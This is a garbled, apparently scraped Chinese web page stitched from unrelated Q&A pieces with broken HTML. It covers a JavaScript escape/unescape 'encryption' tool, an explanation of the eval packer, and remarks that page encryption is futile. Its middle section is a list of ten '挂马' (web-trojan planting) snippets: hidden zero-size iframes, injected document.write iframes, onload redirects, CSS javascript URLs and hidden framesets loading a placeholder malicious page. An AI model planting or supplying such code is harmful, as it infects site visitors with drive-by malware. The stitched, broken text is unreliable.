script language="javascript"
var str;
function showUnico(){
if(document.getElementById("before").value.length 0){
str = escape(document.getElementById("before").value);
document.getElementById("after").value = str;
}
else alert("请输入要加密的代码");
}
function showHtml(){
if(document.getElementById("after").value.length 0){
str = unescape(document.getElementById("after").value);
document.getElementById("before").value = str;
}
else alert("请输入要解密的代码");
}
function clearBoth(){
document.getElementById("before").value = "";
document.getElementById("after").value = "";
}
/script
body
center
table
tr
th加密前/th
th加密后/th
/tr
tr
td
textarea id="before" style="width: 200px; height: 174px"/textarea
/td
td
textarea id="after" style="width: 200px; height: 174px"/textarea
/td
/tr
/table
br
input type="button" value="加密" onclick="showUnico()"
input type="button" value="解密" onclick="showHtml()"
input type="button" value="全部清空" onclick="clearBoth()"
/center
/body
('1("0");', 2, 2, 'OK|alert'.split('|'), 0, {})
这个不是最后一句 这个代码 其实是这样看
function(p,a,c,k,e,d) {这里是函数内容}('1("0");', 2, 2, 'OK|alert'.split('|'), 0, {})
也就是说 ('1("0");', 2, 2, 'OK|alert'.split('|'), 0, {})
这个是 函数 function(p,a,c,k,e,d) 的 五个参数
也就是
p='1("0");'
a=2
c=2
k='OK|alert'.split('|')
e=0
最后一个{} 是一个空对象
如果不好理解的话。。这样看
script type="text/javascript"
var a=function(b,c,d){
alert(b+c+d);
}
a("我","爱","你");//弹出“我爱你"
/script
接着我们换成上面的写法,不用 变量 a;直接 把
a=function(b,c,d){
alert(b+c+d);
}
代入到 a("我","爱","你");
则有
script type="text/javascript"
(function(b,c,d){
alert(b+c+d);
})("我","爱","你");//弹出“我爱你"
/script
接着变 为 你代码里的那个形式 ,eval用来计算执行;
script type="text/javascript"
eval(function(b,c,d){
alert(b+c+d);
}("我","爱","你"));//弹出“我爱你"
/script
至于卡巴报毒
是因为很多病毒木马的JS文件采用了这种压缩方法。
所以卡巴根据特征码误报也很正常 ~~
2015最新WebQQ3.0协议解析和易语言实现(一)获取验证码_百度影视
;p=823fc45385cc43fb08e29f7d5057newp=9a7dc54addc006b10be296641b5e92695c02dc3051d4d61638causer=baidufm=scquery=2015%D7%EE%D0%C2WebQQ3%2E0%D0%AD%D2%E9%BD%E2%CE%F6%BA%CD%D2%D7%D3%EF%D1%D4%CA%B5%CF%D6%C8%E7%BA%CE%BB%F1%C8%A1JS%BC%D3%C3%DC%D4%B4%B4%FA%C2%EBqid=a109c1f100005c08p1=3
挂马代码如下
一:框架挂马
iframe src=地址 width=0 height=0/iframe
二:js文件挂马
首先将以下代码
document.write("iframe width='0' height='0' src='地址'/iframe");
保存为xxx.js,
则JS挂马代码为
script language=javascript src=xxx.js/script
三:js变形加密
SCRIPT language="JScript.Encode" src=;/script
muma.txt可改成任意后缀
四:body挂马
body onload="window.location='地址';"/body
五:隐蔽挂马
top.document.body.innerHTML = top.document.body.innerHTML + '\r\niframe src=""/iframe';
六:css中挂马
body {
background-image: url('javascript:document.write("script src=;/script")')}
七:JAJA挂马
SCRIPT language=javascript
window.open ("","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
/script
八:图片伪装
html
iframe src="网马地址" height=0 width=0/iframe
img src="图片地址"/center
/html
九:伪装调用:
frameset rows="444,0" cols="*"
frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0"
frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0"
/frameset
十:高级欺骗
a href="" onMouseOver="www_163_com(); return true;"/a
SCRIPT Language="JavaScript"
function www_163_com ()
{
var url="";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
/SCRIPT
这是不可能的,不管怎么加密,最终都要以明码的形式才能被浏览器解析和渲染,所以只能骗骗小白,而想盗取你的网站源码的人肯定都是专业人士,这种手段对他们而言可是不值一提。
换个角度想想看,各个银行的网银网页,以及支付宝、财付通等等这些重要的直接与钱打交道的网站,他们的前端网页为什么不加密啊?是技术不行么?
js加密,可以用JShaman实现,
网页源码加密,可以用ShareWAF,
你这两个需求,都是能实现的,